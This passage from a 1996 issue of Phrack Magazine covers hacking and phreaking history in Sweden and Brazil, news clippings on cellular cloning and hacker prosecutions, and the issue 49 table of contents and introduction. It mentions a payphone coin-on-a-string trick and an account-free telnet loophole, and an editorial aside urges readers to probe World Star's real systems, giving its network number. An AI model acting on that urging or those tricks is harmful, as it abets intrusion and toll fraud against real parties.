Now, luckily Sweden has a strong Computer Privacy Act. You just aren't allowed to set up and use such facilities as you please, not even if you are the State Telecom. There is even a specific authority, "Datainspektionen" (The Computer Inspection Department) with the only purpose of looking after and preserve citizen privacy by protecting individuals from corporate and governmental interests. As a result State Telecom "Televerket" (which later changed name to "Telia" as they were transformed from an authority into a private corporation as of July 1st 1993) were not allowed to give out any of the information gathered in these registers to anyone else than either the calling or the receiving party. Not even the police could have this information in case they weren't suspecting a indictable crime resulting in at least 2 years of prison, such as drug trading or terrorism, and you don't get that kind of penalty for phreaking alone ‑ at least not in Sweden.

But Telia could evade these restrictions. In order to successfully phreak using PIN‑codes, you have to call an operator using a Swedish version of the 800‑number: a 020‑number. Telia could then claim the call was made to the owner of that number: AT&T, MCI & Sprint mostly. (There are of course Calling Cards in Sweden as well: "Telia Access" ‑ neither used nor abused by anybody.) As well as these companies have their own intelligence agencies, so have Telia. Once eg AT&T had someone traced for phreaking, Telia could easily produce a complete list of calls made to AT&T operators from a certain number. Telia themselves would even use information they weren't allowed to: they would pull out a list of ALL outgoing calls from the phreaker in question including calls to MCI, girlfriends, mom, dad, grandma... all logged calls.

Telia would then call this poor phreaker to their local Swedish office, sticking the endless list under his/her nose, commanding: "TALK, or we will turn you in to the authorities", carefully not to mention that all information on the printout would be absolutely useless in court. The only conclusive evidence would in fact be those calls traced back all the way from America or wherever the phreaker called; in that way rigorously documented. Naturally, the common phreaker had no legal experience and wouldn't know about this. Instead he would talk, giving out detailed information on his/her techniques worthy of a full‑time high‑educated security consultant. After this session the phreaker was given a bill of the calls that could indeed be proven in court. If he/she didn't pay it ‑ Telia (or any other operator) would end up turning him/her to the authorities anyway. So much for cooperation. Telia themselves would, if they felt it was necessary, go even further than the overseas operators, systematically exposing every weakness in the phreakers personal life, using the information in the computer log for psychological terror.

This pattern of treatment of Swedish phreakers seems to be very much the same among all telecom providers in Sweden. Lately Telia, under command of security officer Pege Gustavsson made some noteworthy mistakes though: in their efforts to convict as many phreakers as possible, they called up companies receiving calls from "suspicious" individuals, warning them about this or that person calling them over and over again. This could only mean Telia was also systematically monitoring some Swedish hackers and had formed some security group to carry out this probation. Normally this should have been kept quiet, as Telia are absolutely not allowed to form their own abuse police forces, but at some instance they happened to call up a security company using phreakers as informants. Of course this security company didn't like the idea of having "their" phreakers traced around, and the matter was brought to public attention. Many independent sources agreed that Telia had violated the Swedish Computer Act, and hopefully this brought an end to this wild tracing. You shouldn't be too sure though, since Telia themselves never confessed of doing anything illegal.

As you might have understood the Computer Act is quite an important factor in all legal discussions concerning Swedish hacking. This Act came out as a result of general attention focused upon the computers vs. privacy matter in 1973. As Sweden was one of the first countries to make use of computers in governmental administration, and as Swedish authorities were eager to register every possible piece of information, some politically influential individuals started a debate resulting in the founding of the Computer Act and the Computer Inspection Department. As a result Sweden is light years ahead of most countries when it comes to privacy matters. For example there is no problem in having the number identification possibilities on your line deactivated for good, and it won't cost you anything. You can also easily obtain free printouts from any computer register containing information on you, including the register at your local AXE‑exchange.

To sum this article up I can draw the conclusion that even Sweden has had its handful of bright hackers, each category bringing their straw to the stack. Even though Swedish officials and companies would hardly admit it, these hackers have obviously been very important for this country, at least in forcing system managers, security officials, software producers, policemen, politicians and so on to think things over. Sweden has also attracted outside attention in some cases, and will probably keep doing so. If you should pin‑ point one group that has meant more to the Swedish scene than any other, it wouldn't be any of the H/P groups, but rather the cracking pioneers Fairlight ‑ a well organized and world‑famous warez producer.

Linus Walleij aka King Fisher / Triad

triad@df.lth.se

(Some handles have been changed to protect retired Swedish hackers from luser mail.)

Swedish readers may be interested in the fact that I'm currently writing a lengthy text in Swedish (a book actually) providing a closer look at Swedish hacking history, which will be released on hypertext and ASCII sometime later this year. Over and out from Sweden!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HACKING IN BRAZIL

=============

Before talking about hacking here, it's good to describe the conditions of living. Right now, the country is a mix of Belgium and India. It's possible to find both standards of living without travelling long distances. The Southern part of the country concentrate most of the industry, while in the west one can find Amazonia jungle. There are many Brazils, one could say.

Beginning with the hacking and phreaking.

Hackers and computers enthusiasts have several different places for meeting. When this thing started, by the time of that film "Wargames", the real place to meet hackers and make contacts were the computer shops, game‑arcades and "Video‑texto" terminals. The computer shops were a meeting place because many of those "hackers" had no computers of their own and the shop‑owners would let them play with them as part of a advertising tool to encourage people buying it for their kids.

Today that is no longer needed, since prices dropped down and people make a team already at schools or sometimes just join a BBS (most people who buy a modem, end up thinking about setting up a BBS). By the way, most schools are advertising computer training as part of their curricula, to charge more, and like everywhere, I guess, people no longer learn typewriting, but computer‑writing, and many brazilian newspapers dedicate a section on computer knowledge once a week, with advertising, hints, general info and even lists of BBS's.

A few years ago, the "Video‑texto" terminals were also big meeting places. That was part of a effort to make popular the use of a computer linked by modem to get services like msx‑games, info on weather, check bank account and so on. Just like the Net, one could do e‑mail, by some fancy tricks and other things that could be called hacking. The difference was that it was made by the state‑owned telephone company and each time the trick was too well know, it was changed. The only way to keep in touch was keeping in touch with the people who used the system like hell. It's no different than what it happens with the computer gurus. The protocol used for that, X‑25 is the same used for the banking money transfers, but don't think it was possible to do anything more than checking how much money one had and a few other classified data. People who used that at home (not too many, since the company didn't think it would be such a hit, and didn't provide for it) could spend their fathers money discovering funny things about the system, like messing with other people's phones and so. One could also use the terminals at the Shopping Centers to make phone calls to their friends without paying. The guy at the other end would be heard by the small speaker.

Phreaking here in Brazil is something secret. Apart from the trick described in the section "Letters to read by" at the summer 1994 of the 2600 Magazine, where one would call through locked rotatory telephone, little is known about phreaking. One thing is that people who enrolled in Telecommunications Engineering could call Europe and USA with ease, but they would not tell you how. It must be said that all public phones have metal cables around the cables and that the phone machines are quite tough to break down. I guess it wasn't for beauty.

The phones use some sort of metal coins called fichas, which must be bought somewhere. The trick is to use a coin with a string, so it would not be collected. But if the police caught... The police doesn't follow rules about that. Either they put a fine on the guy for that, or arrest him for vandalism or anything else they think of at the moment. It is hassle, anyway. My friend who was doing electrical Engineering told me that boxing in Brazil was impossible. The system is just not good enough to be boxed. Another friend of mine told me that in the Northeast part, where people are a little bit different and more easy‑going, the phone system can be boxed, because some top‑brass asked the company to let that feature implemented. The Phone company doesn't admit any knowledge about that.

Internet access is something quite hard to get today. Until a few weeks ago, the system would not let the creation of a Internet site that was not part of some research project. So, only Universities and like were capable of putting people in the Net Universe. In the University of Sco Paulo, people in the post‑graduation courses could get it with ease, but graduating students would have to show some connection to a research project. That in theory, because the students found out that one could use the IBM CDC 4360 to telnet without a Internet account. Also, all the faculties that had computer rooms full of AT 386 which where linked by fiber optics to this computer. Another one did the file transfers between the accounts and the computer at the computer rooms and that ftp was also possible without an account, but only to a few sites, like oakland and so. That lasted for about a year, until that thing was fixed in the router, but only at the Politechnik School. Says the legend that the guys were downloading too much GIF and JPG pictures of Top Models from a ftp site nearby. That spent so much bandwidth that the site started to complain and both things happened: the site stopped to store GIF's of wonderful women in swimsuit and the router was fixed to prevent ftp without a Internet account. One can still today connect the outside world via telnet and many people have accounts in Internet BBS like Isca BBS, Cleveland Freenet and like. The Bad Boy BBS was "in", until it went out of business. This kind of access is not good, though, for it is very slow, sometimes. Also, it is hard to download something bigger than 60 kbyte. The way I devised, downloading the file inside the bbs and uuencoding it. This way you could list the file and capture the screen listing, uudecode it after some editing and have a working .exe or .zip file.

By these means one could, inside the Campus, do all downloading one wanted, from anywhere in the world. Outside the campus, it is possible to do it by phone lines, but: the Modem will not go faster than 2400 without character correction (no Zmodem at all). Which makes quite hard to download compressed files. One could an account: that would be possible by these means, but the amount of trash during the phone connection would make it real hard to type in passwords and like. To try doing any kind of thin g but reading letters by modem is some kind of torture. The real thing is to do it by "linha dedicada", a special line for computer transmission. It's much more expensive though, but if you have the money to spend with that...

Perhaps the best way to get access to an Internet account though is to be part of the research project "Escola do Futuro" that among other things get schools linked by the Net. That's what I did and they pay me quite well to search for data in the Net, for the students of those schools. The University of Campinas is said to give all students a Internet account regardless of knowledge of what‑it‑is, as soon as the guy(girl) gets in. Of course here there's BITNET also. That's doomed for extinction, but this or that reason keeps people from closing it down. Most teachers use it, guess there's even some post‑graduation work written about that. It's easier to access via modem, also. Old habits die hard.

Outside the Campus, for common people, there are few opportunities. The only thing you can get, at least until the opening of commercial internet sites, something about to happen one of these days, is access by mail. You join one BBS with Internet access, and your mail is sent by a Internet account later during the day. This is not a direct access, as one can see, but it's a easy way to access by modem. Problem is that you have to pay if you use it too much. The BBS's that do it don't do it for free, also. Connection to the Compuserve is also possible, but it also costs a lot of money, for my point of view.

Because of the newspapers, the knowledge about Internet is spreading fast and the number of sites is growing the same way everywhere else in the world. Even the military people are starting with it. There are plan s to enhance it and make better connections, and some informative material is being translated in Portuguese, like "Zen and the Art of Internet" and made available in the gopher.rnp.br. There are many mirrors from many famous sites, like Simtel20 and at least one Internet BBS, the "Jacare BBS" (Alligator bbs, available by telnetting bbs.secom.ufpa.br ‑ 192.147.210.1 ‑ login bbs. World Wide Web sites are becoming sort of popular also, but still available only to a few people who are lucky enough to get the access. Brazilian hackers are not very fond of sharing the knowledge of how to get access and other things, sometimes because of fear of losing it, sometimes because the greed of it would overcharge the system. There's no hacker magazine here, yet, and very few people confess their curiosity about hacking for knowledge for fear of not finding jobs. Anyway most would‑be hackers either get a job and stop hacking for fun or keep their activities secret in order to pursue their objectives.

Today, Brazilian Hacker Underground did change a little. Lots of magazines, dealing only with Internet Issues, are being published. There is a hacker zine, the now famous "Barata Eletrica". This and the hacker list I created is starting to unite the computer rats, here. But I had to stop hacking in order to write the e‑zine. Too famous to do that. Another guy just started the thing. He did not learn with my mistake and is signing it with his name, also. Received lots of letters, even as far as Mozambique, praising the material, which is very soft, for fear of losing my net access. Twice my account was "freezed". The people at my site are paranoid. Suffered too much from break‑ins already. Most BBS's are trying to turn themselves in Internet providers or else, to get e‑mail access. There was a fear the State would control the thing, like they did with the Phone system. Can any of you guys imagine what it is, to pay 4.000 US$ dollars for a phone line? In the City of Sao Paulo, (look like L.A., one can say), that's the average price. Cellular is cheaper. Motorola rules. The public phone system was changed again. No more "fichas". At least for long distance calls. It's a small card that looks like plastic one side and magnetic material in the other. m still trying to do 2600 meetings. Oh, once in a while, there is a break‑in here and there, and a hacker is interviewed in TV, but people are only now making the difference between the good guys (hackers) and the bad guys (crackers). With Win95, people are losing fear of exchanging virus‑sources files. The lack of philes in Portuguese makes it dificult for people to learn about hacking. People who know about it, don't have enough time to write. I started to unite some guys to do a translation of "hacker crackdown", but that's another story. I shortened the name of the book to "crack.gz". Guess what's happened? My account is blocked up to this day. They told me I'll get my access back. One of these days. One of these days I'll re‑write this article, and tell the whole thing in detail.

Any Portuguese speaker that does not know about my e‑zine,

try a ftp.eff.org mirror. The URL: ftp://ftp.eff.org/pub/Publications/CuD/Barata_Eletrica

Phrack World News

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 18 of 18

PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Security Software Thwarts Hackers July 23, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(PRNewswire)

World Star Holdings, Ltd. announced today that there have been approximately 5,000 unsuccessful attempts to break its proprietary VPAGE Internet security system. In order to further demonstrate the functionality of its technology, they Company has unveiled a new addition to the World Star Internet security challenge: "The World Star Cyberhospital."

The company recently launched an online contest offering more than $50,000 in cash and prizes to the first person to break its security.

[ THESE CHALLENGES ARE UNADULTERATED BULLSHIT. Phrack suggests you test something other than the fake, non‑production demo contest system. How well does their software hold up in a real business environment? (in other words: THEIRS!?!!@$)

World Star Holdings (NET‑WORLDSTAR‑MB‑CA)

165 Garry Street

Winnipeg, Manitoba R3C 1G7

CA

Netname: WORLDSTAR‑MB‑CA

Netnumber: 205.200.247.0 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Your Cellular Phone Number May Be Up For Grabs August 21, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Mimi Whitefield (Miami Herald)

Electronic bandits have snatched cellular phone numbers from the airwaves and cloned phones used by the Miami office of the Secret Service.

BellSouth Florida president Joe Lacher's phone has been cloned; Spero Canton, spokesman for BellSouth, has been a victim three times over.

"The bums never sleep. They're everywhere," complained Bill Oberlink, regional president for AT&T Wireless Services.

But the good news is that law enforcement agencies and cellular companies themselves are fighting back with a new arsenal of tools, technology and laws that make it easier to detect and prosecute cellular bandits.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Miami Fraud Squad Pursues Cellular Bandits August 12, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Audra D.S. Burch (Miami Herald)

How's this for capitalism gone awry: Metro‑Dade police nabbed a cellular bandit who was selling a $150 package deal ‑‑ $75 each for a stolen phone and number ‑‑ along with a 30‑day guarantee on unlimited illegal air time.

In a sting operation, police took him on the cut‑rate offer.

Thanks to the work of a special Metro‑Dade Police Economic Crimes Bureau, the entrepreneurial cloner got a prison sentence.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Newer Technology Aids Fight Against Cellular Fraud August 21, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Mimi Whitefield (Miami Herald)

New technology is on the side of cellular companies fighting telecom criminals who can rack up thousands of dollars in illegal charges before a consumer even knows he's been hit.

New Jersey‑based Bellcore, for example, has developed NetMavin software, which can detect fraudulent or unusual calling patterns within half an hour.

"This is really going to screw the cloners up," said Roseanna DeMaria, an AT&T Wireless executive.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SPA Files Copyright Suit July 28, 1996

~~~~~~~~~~~~~~~~~~~~~~~~

(Reuters News)

The Software Publishers Association said Sunday it filed a civil copyright infringement lawsuit against a Seattle man for illegal distribution of software on the Internet.

The suit, which was filed July 23 in the U.S. District Court in Seattle, alleges that Max Butler illegally uploaded copyrighted software to a file transfer protocol site for distribution across the Internet, the trade association said.

"This action is a warning to Internet users who believe they can infringe software copyrights without fear of exposure or penalty," said Sandra Sellers, Software Publisher's vice president of intellectual property education and enforcement.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The L0pht August, 1996

~~~~~~~~~

by Steve G. Steinberg (Wired) p. 40

What do a group of hackers do when the equipment they've accumulated over years of dumpster diving no longer fits in their apartments? They get a l0pht. Since 1993, a core group of seven Boston‑based hackers have rented a loft space for hacking, trading information about cellular phones security, and building things like a wireless Internet service using discarded microwave equipment.

Now that all of them have day jobs in the industry, why do they keep at it? "For the girls and the text files, of course," says Mudge.

[ HELL YES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cracking Down on the Outlaws of Cyberspace July 2, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by M.J. Zuckerman (USA Today) p. 4B

What's it take to be America's top cybercop?

"I was a hockey referee, so I'm used to being beaten up," suggests Jim Christy, who is among those most often mentioned for the title. And he's been at it for only a decade.

Today, with the weighty title of Chief of Computer Crime Investigations and Information Warfare, he is one of 68 computer investigators in the Air Force Office of Special Investigations (OSI).

Christy, a Baltimore native, stumbled into the computer field. After drawing No. 35 in the draft lottery during the Vietnam War, he joined the Air Force rather than waiting to be drafted. He spent the next four years as a computer key punch operator, followed by 13 years as a civilian working computers at the Pentagon.

When he moved to OSI, Christy largely ceased his hands‑on involvement with computers and systems.

Since last fall, Christy has been on temporary assignment to the Senate Permanent Subcommittee on Investigations, helping them examine security in cyberspace.

"I like working up on Capitol Hill, because you can make a difference," Christy says.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hackers Penetrate Justice Department Home Page August 18, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(AP News Wire)

Internet hackers infiltrated the Justice Department's home page yesterday, altering the official web site to include swasticas, obscene pictures and lots of criticism of the Communications Decency Act.

The official web site, which was turned off by government technicians when it was discovered, was changed to read "United States Department of Injustice," next to a red, black and white flag bearing a swastika.

The page included color pictures of George Washington, Adolf Hitler, and a topless Jennifer Aniston.

[ A link to a copy of the page is it http://www.fc.net/phrack/doj ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Employment Prospect Grim for Hacker August 19, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(AP News wire)

Employment prospects are grim for Kevin Lee Poulsen, a computer whiz imprisoned five years for his cyberspace havoc.

The 30‑year‑old hacker has been barred from getting near a computer for the next three years and he now fears selling cowboy boots at a Western store will be his only opportunity to make some money.

"It's the only place where I've been greeted with a positive attitude," he said during an interview last week. "I can't get a job that I am qualified for, basically."

On September 3, he goes to federal court in hopes of having some of the computer restrictions relaxed.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

School Hires Student To Hack Into Computers August 22, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(The Sun Herald)

Students at Palisades Park's high school needed their transcripts to send off to colleges. But they were in the computer and no one who knew the password could be reached. So the school hired a 16‑year‑old hacker to break in.

Superintendent George Fasciano was forced to explain to the School Board on Monday the $875 bill for the services of Matthew Fielder.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Feds aim low on hacker crackdown June 21, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Lewis Z. Koch (Upside Online News)

Nineteen‑year‑old Christopher Schanot of St. Louis, Mo. has been languishing in a Federal jail since March 25, 1996, charged with four counts of computer hacking. He is not allowed to post bond, because Federal authorities contend he is "a computer genius intent on infiltrating computer systems of some of the largest companies and entities in the country," and because a jailhouse snitch claims Schanot bragged he would run away if he were released. He has never been charged with a crime or arrested before.

Schanot's problems began after he ran away from home on May 30, 1995, taking some of his disks, a hard drive and personal items. According to a knowledgeable source close to Schanot, Chris felt his parents, especially his father Michael, didn't understand or respect him.

Less rocky, it seems, was his relationship with Netta Gilboa, a 38‑year‑old woman living near Philadelphia. Gilboa is editor‑in‑chief and publisher of _Gray Areas_, a slick, text‑heavy, irregular magazine that explores the "grey areas" of "alternative lifestyles and deviant subcultures."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

City of London Surrenders To Cyber Gangs June 2, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(Times of London)

City of London financial institutions have paid huge sums to international gangs of sophisticated "cyber terrorists" who have amassed up to 400 million pounds worldwide by threatening to wipe out computer systems.

A Sunday Times Insight investigation has established that British and American agencies are examining more than 40 "attacks" on financial institutions in London and New York since 1993.

Victims have paid up to 13 million pounds a time after the blackmailers demonstrated their ability to bring trading to a halt using advanced "information warfare" techniques learnt from the military.

According to the American National Security Agency (NSA), they have penetrated computer systems using "logic bombs" (coded devices that can be remotely detonated), electromagnetic pulses and "high emission radio frequency guns," which blow a devastating electronic "wind" through a computer system.

The gangs are believed to have gained expertise in information warfare techniques from the American military, which is developing "weapons" that can disable or destroy computer hardware. Some are also known to have infiltrated banks simply by placing saboteurs on their payroll as temporary staff.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Credit Fraud on AOL

~~~~~~~~~~~~~~~~~~~

(AP Newswire)

Two boys posed as billing representatives for an online service and stole at least 15 credit card numbers, and used those numbers to buy $15,000 worth of merchandise, from computer equipment to cymbals, police said.

The two 16‑year‑olds were charged with 39 counts of possession of stolen property, theft and attempted fraud. They were released to the custody of their parents pending a Family Court hearing.

Police believe the boys obtained a program designed by computer hackers to flimflam customers of America Online. It sends a message to users saying they will be cut off if they don't type in their name, credit card account number and computer service password.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FBI Survey Reveals Growth of Cybercrime May 6, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Rory J. O'Connor (San Jose Mercury News)

Intruders are breaking into the nation's computer systems at an increasing rate and often with more nefarious motives than in the past, according to a survey co‑sponsored by the FBI and a private group of computer security professionals.

"What this shows is that the ante has been upped in cyberspace," said Richard Power, senior analyst of the Computer Security Institute in San Francisco, which conducted the survey. "As all manner of commerce moves into cyberspace, all manner of crime is moving there as well. It's no longer just vandalism."

More than 40 percent of the 428 corporate, university and government sites that responded to the FBI survey reported at least one unauthorized use of their computers within the last 12 months, with some institutions reporting as many as 1,000 attacks in the period.

It also appears that there's more computer crime for hire occurring, Power said, exploiting mainly older hackers who have graduated to making money off the skill they once used simply to establish bragging rights with their peers. He suggested that some of the hiring is being done by intelligence services of various governments, although he offered no proof.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

University hacker to be hunted on the Internet April 27, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Robert Uhlig (London Daily Telegraph)

Computer experts at Cambridge University are using the Internet to hunt for a hacker who breached their security systems to access some of the world's most sensitive research information.

The authorities had no indication that the hacker deleted or altered files, "although there was the potential for that", he said. Files belonging to world‑renowned research scientists may have been viewed or copied, giving the hacker an insight into commercially and academically sensitive material.

The hacker used a so‑called sniffer program, which sat silently within the computer system for four weeks, monitoring its activities. This could allow the hacker to compile a list of all passwords to give him unhindered access to every computer on the university's network. "There was the potential to access any material on any computer anywhere on the university's network ‑ ranging from electronic‑mail to confidential research data," said Mr Stibbs.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Agents' Codes Exposed on Web March 16, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By: Robert E. Kessler (Newsday)

In an attempt to help (Ed) Cummings, and discredit the Secret Service, a Long Island‑based hacker magazine last week launched a page on the World Wide Web publishing lists of Secret Service radio frequencies, photographs of agents, and codenames used by the agency for officials and buildings.

Last year, Cummings, a 35‑year‑old native of Reading, Pa., pleaded guilty to federal charges in Philadelphia of possessing telecommunications equipment with intent to defraud and served a seven‑month prison sentence.

As a result of that conviction, last week Cummings was sentenced by a judge in Easton, Pa., north of Philadelphia, to serve a six‑ to 24‑month sentence for violating probation after pleading no contest to a 1994 charge of tampering with evidence in another telephone hacking case.

"Painting this guy as some white knight or someone who is standing up for free speech is wrong," said Kun. "He's engaged in fraud."

Cummings' attorney, Kenneth Trujillo, could not be reached for comment.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Judge Denies Bond to Accused Hacker April 6, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Tim Bryant (St. Louis Post Dispatch)

After another prisoner said accused computer hacker Christopher Schanot was planning a quick escape from his parents' home near High Ridge, a federal magistrate decided Friday to keep Schanot in jail.

"He said he would wait a couple of days and take off," testified the prisoner, Gerald Esposito.

Schanot's lawyer, federal public defender Norm London, told Davis that the alleged conversation between the young man and Esposito never happened.

London, pointing out that Esposito has convictions for sexual assault, said the older prisoner had "made overtures" to jail officials about moving Schanot into Esposito's housing area.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacked Off! Government, Firms Fight Computer Intruders April 7, 1996

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Colleen Bradford (St. Louis Post Dispatch)

Every day, hundreds of people in front of personal computers try to sneak into corporate and government computer networks. Sometimes they just look around, sometimes they destroy data and sometimes they steal personal and classified information.

Two weeks ago, law enforcement officials charged an Argentine, 21, with using the Internet to illegally break into computer networks at Department of Defense installations, the NASA, Los Alamos National Laboratory and several universities. The Justice Department is now seeking Julio Cesar Ardita, who accessed confidential research files on aircraft design, radar technology and satellite engineering.

And Chris Schanot, 19, from High Ridge, was in court in St. Louis last week on charges of hacking. Schanot, who fled to Pennsylvania from St. Louis after graduating from Vianney High School last May, is accused in a five‑count indictment of breaking into the computers of Southwestern Bell, Bell Communications Research, Sprint and SRI International, a research and development contractor with government contracts. His trial is set for June 10.

Schanot, like other hackers, likely became addicted to the feeling of power that cracking into a private computer network brings, said St. Louis County Police Sgt. Thomas Lasater, who has been investigating computer crime for seven years.

"Normally these young hackers do not use the computers for financial gain," Lasater said. "It's just a challenge for them to see what they can conquer."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mike and Terry's Dreadful Adventure

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Elizabeth Weise (AP Newswire)

Terry Ewing was late. His plane left in an hour and he was cutting it close. But he couldn't tear himself away from his computer and the hole he'd hacked into the security network of Tower Records.

He kept poking around, looking for something interesting to take to the hackers' convention he was going to. Finally, five minutes before the airport shuttle beeped in front of his apartment, he downloaded a file containing 1,700 credit card numbers.

"We didn't expect anyone was watching," he said seven months later through an inch of Plexiglas at the Sacramento County Jail.

Ewing had had second thoughts about taking the Tower Records file with him on July 31, so he left it on his hard drive while he and Kim hit DefCon, the biggest of the West Coast hacker gatherings, for a weekend of bragging, hanging out and messing around.

"We never guessed they were onto us. Their security was so weak it really blew," the 20‑year‑old Kim says by phone from the sixth floor of the same jail that held his friend. He is facing an 18‑month sentence.

49

- Introduction by Phrack Staff

- Phrack loopback by Phrack Staff

- Line Noise by Phrack Staff

- Phrack Prophile on Mudge by Phrack Staff

- Introduction to Telephony and PBX systems by cavalier

- Project Loki by Alhambra & daemon9

- Project Hades by daemon9

- Introduction to CGI and CGI vulnerabilities by G. Gilliss

- Content-Blind Cancelbot by Dr. Dimitri Vulis

- A Steganography Improvement Proposal by cjm1

- South Western Bell Lineman Work Codes by Icon

- Introduction to the FedLine software system by Parmaster

- Telephone Company Customer Applications by voyager

- Smashing The Stack For Fun And Profit by Aleph1

- TCP port Stealth Scanning by Uriel

- Phrack World News by disorder

Introduction

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

1 of 16

Issue 49 Index

____________________

P H R A C K 4 9

November 08, 1996

____________________

Welcome to the next generation of Phrack magazine. A kinder, gentler, Phrack. A seasoned, experienced Phrack. A tawdry, naughty Phrack. A corpulent, well‑fed Phrack. Phrack for the whole family. Phrack for the kids, Phrack for the adults. Even Phrack for the those enjoying their golden years.

If you thought 48 was a fluke, here is 49, RIGHT ON SCHEDULE. Full speed ahead, baby. We promised timely Phrack. We promised quality Phrack. Here are both in ONE CONVENIENT PACKAGE! We trimmed the fat to bring you the lean Phrack. Chock full of the healthy information you need in your diet. All natural. No artificial ingredients. No snake oil. No placebo effect. Phrack is full of everything you want, and nothing you don't.

This issue is the first *official* offering from the new editorial staff. If you missed them, our prophiles can be found in issue 48. Speaking of 48, what a tumultuous situation article 13 caused. All that wacking SYN flooding. Well, it got the job done and my point across. It got vendors and programmers working to come up with work‑around solutions to this age‑old problem. Until recently, SYN‑flooding was a skeleton in the closet of security professionals. It was akin the crazy uncle everyone has, who thinks he is Saint Jerome. We all knew it was there, but we ignored it and kinda hoped it would go away... Anyway, after this issue, I hope it *will* just go away. I have done interviews for several magazines about the attack and talked until I was blue in the face to masses of people. I think the word is out, the job is done. Enough *is* enough. " SYN_flooding=old_hat; ". Onto bigger and better things.

A few more quick points (after all, you want Phrack Warez, not babbling daemon9). I want to thank the community for supporting me (and co.) thus far. Countless people have been quite supportive of the Guild, the Infonexus, and of Phrack. Time and work do permit me to get back to all of you individually, so just a quick blurb here. Thank you all. I will be using Phrack as a tool to give back to you, so please mail me (or any of the editors with your suggestions). This is *your* magazine. I just work here.

Most of all, I am stoked to be here. I am giving this my all. I'm fresh, I'm ready... I'm hyped + I'm amped (most of my heros don't appear on no stamps..).

Drop us a line on what you think of 49. Comments are encouraged.

Bottom line (and you *can* quote me on this): Phrack is BACK.

‑ daemon9

[ And remember: r00t may own you, but the Guild loves you ] [ TNO, on the other hand, doesn't even fucking care you exist ]

